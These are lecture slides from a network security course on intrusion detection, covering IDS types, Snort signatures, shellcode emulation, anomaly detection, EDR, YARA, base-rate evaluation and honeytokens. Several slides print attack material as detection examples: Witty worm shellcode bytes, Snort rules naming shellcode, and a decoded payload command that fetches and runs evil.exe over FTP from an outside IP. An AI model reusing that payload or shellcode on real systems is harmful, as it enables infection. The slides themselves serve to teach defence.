CSE508 Network Security



Intrusion Detection

Michalis Polychronakis

Stony Brook University





Intrusions

"Any set of actions that attempt to compromise the integrity, confidentiality or availability of information resources" [Heady et al.]

"An attack that exploits a vulnerability which results to a compromise of the security policy of the system" [Lindqvist and Jonsson]

Most intrusions...

- Are carried out remotely
- Exploit software vulnerabilities
- Result in arbitrary code execution or unauthorized data access on the compromised system

Attack Source

Local

Unprivileged access → privilege escalation

Physical access: I/O ports (launch exploits), memory (cold boot attacks), storage (just remove it), shoulder surfing (steal credentials), dumpster diving (steal information), bugging (e.g., keylogger, antennas/cameras/sensors, HW parts), ...

Remote

Internet

Local network (Ethernet, WiFi, cellular, bluetooth, ...)

Phone (social engineering, SMS, ...)

Infected media (disks, CD-ROMs, USB sticks, ...)

Pre-infected SW/HW components (libraries, third-party services, BIOS, NIC, router, ...)

Intrusion Method

Social engineering (phishing, spam, scareware, ...)

Viruses (disks, CD-ROMs, USB sticks, downloads, ...)

Network traffic interception (access credentials, keys, phishing, ...)

Password guessing/leakage (brute force, root:12345678, ...)

Physical access (reboot, keylogger, screwdriver, ...)

Supply chain compromise (backdoor, infected update, ...)

Software vulnerability exploitation

• • •

Attack Outcome

Arbitrary code execution

Privilege escalation

Disclosure of confidential information

Unauthorized access

DoS

Erroneous output

Destruction

• • •

Intrusion Detection

Systems or software for continuous monitoring of networks or hosts for signs of malicious activity or policy violations

Intrusion Detection Systems (IDS)

Generate alerts and log any identified events

Intrusion Prevention Systems (IPS)

In addition, react by blocking the detected activity

Xee

X 6 101010

Defense in Depth

An IDS is not a silver bullet solution

Just an additional layer of defense

Complements existing protections, detectors, and policy enforcement mechanisms

Requires continuous maintenance: fine-tune configuration, adapt to network changes, update rules, triage alerts, minimize false positives, ...

There will always be new vulnerabilities, new exploitation techniques, and new adversaries

Single defenses may fail Multiple and diverse defenses make the attacker's job harder



Defense in Depth

Securing systems retroactively is not always easy

WiFi access points, routers, printers, IP phones, mobile phones, legacy devices, TVs, IoT, cyber-physical systems, businesses/enterprises with inadequate resources, ...

Detecting and blocking an attack might be easier/faster than understanding and fixing the bug

Immediate response vs. long-term treatment

Patches for 0-day exploits take time to develop and deploy

Focus not only on detecting attacks

But also on their side effects, and unexpected events in general

Example: extrusion detection/data leak prevention -> detect data exfiltration

Situational Awareness

Understanding of what is happening on the network and in the IT environment

Confirm security goals

Identify and respond to unanticipated events

Diverse sources of data

Network, hosts, cloud services, external (non IT) indicators, ...

Use data analytics to make sense of the increasing amount of data: identify features, derive models, observe patterns, ...

Data mining, machine learning, ...



Monitoring and Logging

Network

Passive packet capture, active scanning/probing, network connections (netflow), DNS, ...

Host

Login attempts, file accesses, spawned processes, inserted devices, performance metrics, server/transaction logs, ...

Many OS facilities

System-wide events: Windows event log, /var/log, ...

Fine-grained monitoring: process-level events, system call monitoring, library interposition, ...

What to log? Performance vs. visibility tradeoff

Everything: costly in terms of runtime and space overhead Pick carefully: crucial information may be missed/ignored

Can the attacker scrub the logs?

Append-only file system, remote location, ...

Indicators of Compromise (IoCs)

Artifacts observed on a host or network that with high confidence indicate a computer intrusion

Host level

Hashes of malware executables/modules/files

Strings in malware binaries

System-wide changes/behaviors

Network level

Resolved domains

Accessed IP addresses

URLs

Network request/packet content

Basic Concepts: Location

An IDS can be a separate device or a software application

Operates on captured audit data

Off-line (e.g., periodic) vs. real-time processing

Network (NIDS)

NetFlow records, raw packets, reassembled streams, DNS messages, ...

Passive (IDS) vs. in-line (IPS) operation

Examples: Snort, Zeek, Suricata, many commercial boxes, ...

Host (HIDS)

Login times, resource usage, user actions/commands, process/file/socket activity, application/system log files, registry changes, API calls, system calls, executed instructions, ...

Examples: OSquery, OSSEC, SysDig, El Jefe, antivirus, EDR/XDR, registry/process/etc. monitors, network content scanners, ...



Deployment

NIDS: protect many hosts with a single detector

HIDS: install detector on each host (might not always be feasible)

Visibility

NIDS: can observe broader events and global patterns

HIDS: observes only local events that might not be visible at the network level

Context

NIDS: packets, flow records, unencrypted streams (unless proxy-level TLS interception is used) *HIDS:* full picture (e.g., API-level monitoring to inspect data before it is encrypted)

Overhead

NIDS: none (passive)NIPS/Proxy: adds some latencyHIDS: consumes CPU/memory (varies from negligible to complete hogging)

Subversion

NIDS: invisible in the network (passive component)

NIPS/Proxy: failure may lead to network reachability issues (in-line component)

HIDS: attacker may disable it and alter the logs (user vs. kernel level, in-VM vs. out-of-VM, remote audit logs)

Basic Concepts: Detection Method

Misuse detection

Predefined patterns (known as "signatures" or "rules") of known attacks
Rule set must be kept up to date
Manual vs. automated signature specification (latter is *hard*)
Can detect only *known* attacks, with adequate precision

Anomaly detection

Rely on models of "normal" (and "malicious") behavior Requires (re)training with an adequate amount of data Can potentially detect previously unknown attacks Prone to false positives

IDS Challenges

Conflicting goals: *zero-day attack detection* vs. *zero false positives* Resilience to evasion

Usually it is easy for adversaries to morph the attack vector and evade detection

Detection of targeted and stealthy attacks

No prior knowledge of how the attack may look like

Adaptability to a constantly evolving environment

New threats, new topology, new devices, new services, new software, new users, ... Rule sets must be kept up to date according to new threats Models must be updated/retrained (*concept drift*)

Coping with an increasing amount of data

Log/event aggregation tools (e.g., Splunk)

Popular Open-source Signature-based NIDS







Snort

Zeek

Suricata

Use Case: Snort



What is a Signature?

An attack description as seen at Layer 2-7

Example Snort signature for Witty worm:



9											Sh	ell -	Kor	nsole	<2>		
=+=	=+																
05,	05/13-16:46:08.570308 [**] [1:0:0] ISS PAM/Witty Worm Shellcode [**] [Priority: 0]																
05,	05/13-16:46: <mark>10.571</mark> 009_0:4:75:AD:3E:E1>_0:C:6E:F3:98:3E type:0x800 len:0x42B																
139	9.91	1.70	9.31	1 40	900	->	139	9.9	1.70	9.40	32	22 l	JDP	TTI	_:64	TOS:0x0 ID:55882 IpLen:20 DgmL	en:1053
Lei	n: 1	1025	5													_	
45	00	04	01	D3	B4	00	00	71	11	DD	A9	DB	9A	9C	A1	Eq	
41	AD	DA	A4	0F	A0	C4	24	03	ED	DD	38	05	00	00	00	A\$8	
00	00	00	12	02	00	00	00	00	00	00	00	00	00	00	00		
00	02	2C	00	05	00	00	00	00	00	00	6E	00	00	00	00	,n	
00	00	00	00	00	00	00	00	00	00	00	00	00	01	00	00		
00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00		
41	02	05	00	00	00	00	00	00	DE	03	00	00	00	00	00	Α	
00	00	00	00	00	00	00	00	00	00	01	00	00	01	00	00		
01	00	00	1E	02	20	20	20	20	20	20	20	28	5E	2E	5E		
29	20	20	20	20	20	20	69	6E	/3	65	72	74	20	77	69) insert wi	
74	74	79	20	6D	65	73	73	61	67	65	20	68	65	72	65	tty message here	
2E	20	20	20	20	20	20	28	5E	2E	5E	29	20	20	20	20	. (^.^)	
20	20	20	89	E/	8B	71	14	83	C7	08	81	C4	E8	FD	FF		
	31	(9	66	R9	33	32	51	68	11	/3	25	5.	54	35	70	.1.T.32Qhws2_1>.	
-10	60	410 CD	50	52	89	63	31	C9	66	89 83	65	/4	51	68	/3		
01	63	0B	54	23	3E	11	15	98	40	0D		0A	11		02 5 2	OCKIS>(@.^].].	
	02 FF	15	00	40	00	31	21	51	68	62 51	69 51	6E	64 50	54	53		
3E		12	98	40	0D	DE 10	31	C9	21	D0	21	81	E9	FE		>@. 1.QQQ	
FU	ЪF	21	89	El	bА	10	21	20	FF	DO	31	69	00	89	/4	. Q., J.QV., 1.T.C	

More Examples

String searching

alert ip \$EXTERNAL_NET \$SHELLCODE_PORTS -> \$HOME_NET any (msg:"SHELLCODE Linux shellcode"; content:"|90 90 90 E8 C0 FF FF FF|/bin/sh"; classtype:shellcode-detect; sid:652; rev:9;)

Strsearch + regular expression matching + stateful inspection

alert tcp \$EXTERNAL_NET any -> \$HOME_NET 10202:10203 (msg:"CA license GCR overflow attempt"; flow:to_server,established; content:"GCR NETWORK<"; depth:12; offset:3; nocase; pcre:"/^\S{65}|\S+\s+\S{65}|\S+\s+\S+\S+\S+\S{65}/Ri"; sid:3520;)

Stateful Inspection

Semantic gap: NIDS processes individual packets, while applications see a contiguous stream (TCP) -> potential for evasion



Solution: IP defragmentation, TCP stream reassembly

Flow-level tracking: group packets into flows, track TCP state

Stream reassembly: normalize and merge fragments into packets, and packets into streams

Behavioral Signatures/Heuristics

Example: emulation-based shellcode detection

Motivation: obfuscated shellcode will not reveal its actual form until it is executed Main idea: execute untrusted data as if it were executable code Goal: Identify the mere presence of shellcode in arbitrary data

Different behaviors

Self-unpacking (GetPC code + self references, written-then-executed memory)

DLL base address resolution through PEB

Memory scanning (egg hunt shellcode)

SEH handler registration

Suspicious system call invocations



Everything Is Code

x86 has a huge instruction set

Almost any byte sequence can be interpreted as *valid* machine code

mikepo@cas	stro:~> echo -	n "Stony Brook"	ndisasm -u -
000000000	53	push ebx	
00000001	746F	jz 0x72	
00000003	6E	outsb	
00000004	7920	jns 0x26	
00000006	42	inc edx	
00000007	726F	jc 0x78	
00000009	6F	outsd	
0000000A	6B	db Øx6b	

GET / HTTP/1.1 User-Agent: Wget/1.10.2

...

...





...

\x6A\x07\x59\xE8\xFF\xFF\xFF\xFF\xC1\x5E

6A07 59 E8FFFFFFFF C1 5E 80460AE0 304C0E0B E2FA

. . .



J

push byte 0x7f
pop ecx
call 0x7
inc ecx
pop esi
add [esi+0xa],0xe0
xor [esi+ecx+0xb],cl
loop 0xe
xor [esi+ecx+0xb],cl
loop 0xe
xor [esi+ecx+0xb],cl

. . .

vC....3www.2K.

r.v..8o.(Wv.>.C.v.F.....p..zv...L#Ss...(Sv...{<.(kv..k.v..+Ss.F...70

skipping 1 executed instructions

1	60000001	
2	60000002	
3	6000003	
4	60000004	
5	60000005	
6	6000006	
7	60000007	
8	6000008	
9	6000000c	
10	6000000a	
11	60000011	
12	60000012	
13	60000014	
14	60000016	
15	6000001a	
16	6000001b	
17	60000016	
18	6000001a	
19	6000001b	
20	60000016	
21	6000001a	
22	6000001b	

	inc edx
	nop
	inc edx
	nop
	inc edx
	nop
	inc edx
	jmp 0x600000c
N	call 0x600000a
Ξ	jmp 0x60000011
	pop ebx
	xor ecx,ecx
	mov cl,0xfd
	<pre>xor byte [ebx+0xc],0x77</pre>
	inc ebx
5	loop 0x60000016
	<pre>xor byte [ebx+0xc],0x77</pre>
	inc ebx
1	loop 0x60000016
	<pre>xor byte [ebx+0xc],0x77</pre>
	inc ebx
2	loop 0x6000016
	<pre>call 0x600000a jmp 0x60000011 pop ebx xor ecx,ecx mov cl,0xfd xor byte [ebx+0xc],0x77 inc ebx loop 0x60000016 xor byte [ebx+0xc],0x77 inc ebx loop 0x60000016 xor byte [ebx+0xc],0x77 inc ebx loop 0x6000016</pre>

edx 2A500E51 edx 2A500E52 edx 2A500E53 edx 2A500E54 esp 600043BC ebx 60000011 esp 600043C0 ecx 0000000 ecx 00000FD [600001D] . ebx 6000012 ecx 00000FC [600001E] . ebx 60000013 ecx 000000FB [600001F] D ebx 60000014 ecx 00000FA

600001b E2F9 249 loop 0x6000016 ecx 0000003 763 60000016 E2F9FCE8 xor byte [ebx+0xc],0x77 [60000117] . 764 765 600001a E2 inc ebx ebx 6000010C 600001b E2F9 250 loop 0x6000016 ecx 0000002 766 767 6000016 **E2F9FCE8** xor byte [ebx+0xc],0x77 [60000118] . inc ebx 768 600001a E2 ebx 6000010D 769 600001b E2F9 251 loop 0x6000016 ecx 00000001 6000016 E2F9FCE8 xor byte [ebx+0xc],0x77 [60000119] . 770 600001a E2 771 inc ebx ebx 6000010E 600001b E2F9 E loop 0x6000016 772 ecx 0000000 cld 773 600001d FC 600001e E84400000 w call 0x6000067 774 esp 600043BC 775 6000067 **31C0** xor eax, eax eax 00000000 60000069 648B4030 mov eax,fs:[eax+0x30] 776 600006d 85C0 777 test eax, eax 6000006f 780C js 0x6000007d 778 60000071 8B400C mov eax,[eax+0xc] 779 60000074 8B701C mov esi,[eax+0x1c] 780 781 60000077 AD lodsd 60000078 8B6808 782 mov ebp,[eax+0x8] 600007b EB09 783 jmp 0x6000086 execution trace: 784 instructions, 253 payload reads, 253 unique END *] chunk 1037 13aac309ba2236b23d6537a77f101b9c [*] shellcode 1037 13aac309ba2236b23d6537a77f101b9c pos 0 [*] decrypted 253 c3ba2b2f9c6b0e42fcd4da54e4488153;T\$.u.._\$..f..._ ..I.4...1....t... K.\\$..1.d.@0..x h...`h....W.....cmd /c echo open 61.36.242.10 2955 > i&echo user 1 1 >> i &echo get evil.exe >> i &echo quit >> i &ftp -n -s:i &evil.exe

Passive DNS Monitoring

Store DNS resolution data (indefinitely) to detect potential threats or malicious C&C communication

Can aid in forensic analysis after an incident has been detected

Can be combined with allow/deny/reputation lists

DNS data can be captured at various locations

Directly in the network's recursive server

Sniffing raw network traffic (not possible with DoT/DoH)

On each endpoint (especially if DoT/DoH is used)

Related service: Protective DNS

The resolver checks all queries/responses against threat intelligence data and prevents connections to known or suspected malicious sites

Anomaly Detection

Training phase: build model of normal behavior

Detection phase: alert on deviations from the model

Many approaches

Statistical methods, rule-based expert systems, clustering, state series modeling, artificial neural networks, support vector machines, outlier detection schemes, ...

Good for noisy attacks

Port scanning, failed login attempts, DoS, worms, ...

Good for "stable" environments

Example: web server vs. user workstation

Anomaly Detection

Learning

Supervised: Labels available for both benign data and attacks

Semi-supervised: Labels available only for benign data

Unsupervised: No labels: assume that anomalies are very rare compared to benign events

Many possible features

Network: packet fields, higher-level protocol fields, payload content, connection properties, traffic flows, network metrics, ...

Host: system call sequences, code fragments, file attributes, performance statistics, ...

Endpoint Detection and Response (EDR)

Evolution of traditional antivirus (AV) software Mostly an industry buzzword (already obsolete – XDR is the new hot thing)

AV: focus on detecting malware binaries

Signature-based detection: known threats based on signatures such as file hashes, command and control domains, IP addresses, and similar features Limited heuristic detection: unusual or suspicious process behavior Integrity checking: detect changes to critical system files by malware

EDR: focus on detecting infection incidents

Continuous "behavioral" monitoring: process/system level Global visibility: data collection and aggregation from multiple endpoints Record forensic information to help security teams investigate incidents Streamlined incident response: rapid incident analysis and remediation C

yara

The pattern matching swiss knife for malware researchers (and everyone else)

{} YARA in a nutshell

YARA is a tool aimed at (but not limited to) helping malware researchers to identify and classify malware samples. With YARA you can create descriptions of malware families (or whatever you want to describe) based on textual or binary patterns. Each description, a.k.a rule, consists of a set of strings and a boolean expression which determine its logic. Let's see an example:



The above rule is telling YARA that any file containing one of the three strings must be reported as silent_banker. This is just a simple example, more complex and powerful rules can be created by using wild-cards, case-insensitive strings, regular expressions, special operators and many other features that you'll find explained in YARA's documentation.

Evaluating Intrusion Detection Systems

Accuracy is not a sufficient metric!

Example: data set with 99.9% benign and 0.1% malicious events

A dummy detector that marks everything as benign would have 99.9% accuracy...

False positive: legitimate behavior that was deemed malicious False negative: an actual attack that was not detected

		Positive (alert)	Negative (silence)
Event	Positive (malicious)	ТР	FN
Actual	Negative (benign)	FP	TN

Detection Result

Precision = TP/(TP+FP)

Recall = TP/(TP + FN)

FP rate = FP/(FP + TN)



Receiver Operating Characteristic (ROC) Curve

Concise representation of a detector's accuracy

True Positive Rate 8.0 6.0 8.0 True Positive Rate 6.0 8.0 8.0 Perfect Accuracy Lenient Threshold High Accuracy Moderate Threshold error rate of 0.7 0.7 Low Accuracy falsely identifying 0.6 0.6 noise events 0.5 0.5 **T**Strict Threshold Accuracy Due To Chance 0.4 0.4 0.3 0.3 success rate 0.2 0.2 of detecting signal events 0.1 0.1 0.0 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1.0 0.0 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1.0 **False Postive Rate False Postive Rate**

X axis:

Y axis:

Base Rate Fallacy

A type of fallacy in which we ignore the *base rate*



Example: out of **1M** downloaded files every day, **100** are malware Base rate probability of a randomly selected file being malware is 0.0001 (0.01%)

A new next-generation AI quantum blockchain antivirus claims 99% detection accuracy for previously unknown samples

1% FP rate: only 1 out of every 100 benign files is flagged as malware1% FN rate: only 1 out of every 100 malware files is not detected

A downloaded file is flagged as malicious: what is the probability of this file being actually malicious?

99 of the 100 malware files will be detected (one missed due to 1% FN rate)

- 9,999 of the 999,900 non-malicious files will also be detected (due to 1% FP rate)
- P = 99 / (99 + 9,999) = **0.98%**

Many more benign than malicious files \rightarrow many more false positives than true positives

Evasion – "Stay under the radar"

Both anomaly and misuse detection systems can be evaded by breaking the detector's assumptions

Detectors rely on certain features

Make those features look legitimate or at least non-suspicious

Many techniques

Fragmentation

Content mutation/polymorphism/metamorphism

Mimicry

Rate adjustment (slow and stealthy vs. fast and noisy)

Distribution and coordination (e.g., DoS vs. DDoS)

Spoofing and stepping stones

• • •

Deception





Honeypots

"An information system resource whose value lies in unauthorized or illicit use"

Under normal conditions, a honeypot should not see any activity Any interaction reported by a honeypot is an anomaly

Heavily instrumented to capture exploits and monitor the adversary's activities

Low-interaction honeypots

Limited emulation of existing services (implementation: script, daemon) Main goal: observe scanning and attack attempts, capture infection vectors

High-interaction honeypots

Full replica of a real system (implementation: VM, dedicated host) Main goal: study the intruder's (or malware's) activity after the initial compromise



Decoys, Honeytokens, Tripwires

Phony data that may be of interest for an intruder No production value: nobody should access a honeytoken

Extremely useful signal to detect post-breach activity

Numerous types

Email addresses, database entries, files, web beacons, AWS keys, ...

Continuously monitored: any access to a honeytoken is a strong indication of suspicious activity

Trigger depends on the type of honeytoken: filesystem operation, database access, web request, ...

TOKENS



Read Our Canarytokens Documentation

By Using This Service, You Agree to Our Terms of Use.

N	Web bug / URL token Alert when a URL is visited	x	Microsoft Excel document Get alerted when a document is opened in Microsoft Excel	DETOUR	Slow redirect Alert when a URL is visited, User is redirected (More info is grabbed!)
	DNS token Alert when a hostname is requested		Credit Card token (beta) Get alerted when a transaction is attempted on a credit card	E Contraction of the second se	Custom image web bug Alert when an image you uploaded is viewed
webservices-	AWS keys Alert when AWS key is used		Kubeconfig token Alert when a Kubeconfig is used	PDF	Acrobat Reader PDF document Get alerted when a PDF document is opened in Acrobat Reader
A	Azure Login Certificate Azure Service Principal certificate that alerts when used to login with.	Ś	WireGuard VPN Alert when a WireGuard VPN client config is used	C 1	Custom exe / binary Fire an alert when an EXE or DLL is executed
\diamond	Azure Entra ID login Trigger an alert when your Azure Entra ID login is being phished		Cloned website Trigger an alert when your website is cloned	SQL Server	Microsoft SQL Server Get alerted when MS SQL Server databases are accessed
Š	Sensitive command token Alert when a suspicious Windows command is run	css	CSS cloned website Trigger an alert when your website is cloned (using CSS)		SVN Alert when someone checks out an SVN repository
w	Microsoft Word document Get alerted when a document is opened in Microsoft Word	exe Transfer Exe	QR code Generate a QR code for physical tokens	ê	Unique email address Alert when an email is sent to a unique address

Use Case: Cloned Website Detection

Modern MitM phishing tools act as a reverse proxy between the victim and the website

Cloned website token



A small snippet of (obfuscated) JavaScript code added to the legitimate site

Cat and mouse game again: if not obfuscated, the attacker can trivially remove it before serving the page to the victim

When a client loads the page, the JS code checks if the site was served from the expected parent domain

Triggers an alert in case the domain seen by the browser is not the expected one (e.g., bankofamerica.com vs. bankofamericas.com)